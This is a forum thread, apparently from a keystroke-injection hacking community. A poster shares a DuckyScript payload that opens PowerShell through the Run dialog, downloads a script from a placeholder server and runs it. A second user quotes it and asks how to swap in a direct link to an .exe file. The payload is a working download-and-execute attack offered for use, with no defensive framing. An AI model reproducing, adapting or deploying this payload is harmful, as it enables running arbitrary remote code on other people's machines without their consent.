Jump to content

Recommended Posts

REM Windows 10: Poweshell administrator download and execute file
DELAY 1000
GUI r
DELAY 200
REM my best attempt at a elevated powershell instance
STRING powershell Start-Process powershell
ENTER
DELAY 3000
STRING $down = New-Object System.Net.WebClient;$file = 'RUN.ps1'; $url = 'http://<SERVER>/'+$file;  $down.DownloadFile($url,$file);powershell .\$file;Exit;
ENTER

Link to post
Share on other sites
On 9/11/2020 at 11:58 AM, fvrtemp said:

REM Windows 10: Poweshell administrator download and execute file
DELAY 1000
GUI r
DELAY 200
REM my best attempt at a elevated powershell instance
STRING powershell Start-Process powershell
ENTER
DELAY 3000
STRING $down = New-Object System.Net.WebClient;$file = 'RUN.ps1'; $url = 'http://<SERVER>/'+$file;  $down.DownloadFile($url,$file);powershell .\$file;Exit;
ENTER

Thanks for your reply. If my exe file direct link is for example http://www.mylink.com/file.exe . How should i write it in this line ?

STRING $down = New-Object System.Net.WebClient;$file = 'RUN.ps1'; $url = 'http://<SERVER>/'+$file;  $down.DownloadFile($url,$file);powershell .\$file;Exit;

Thanks

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

  • Recently Browsing   0 members

    No registered users viewing this page.

×
×
  • Create New...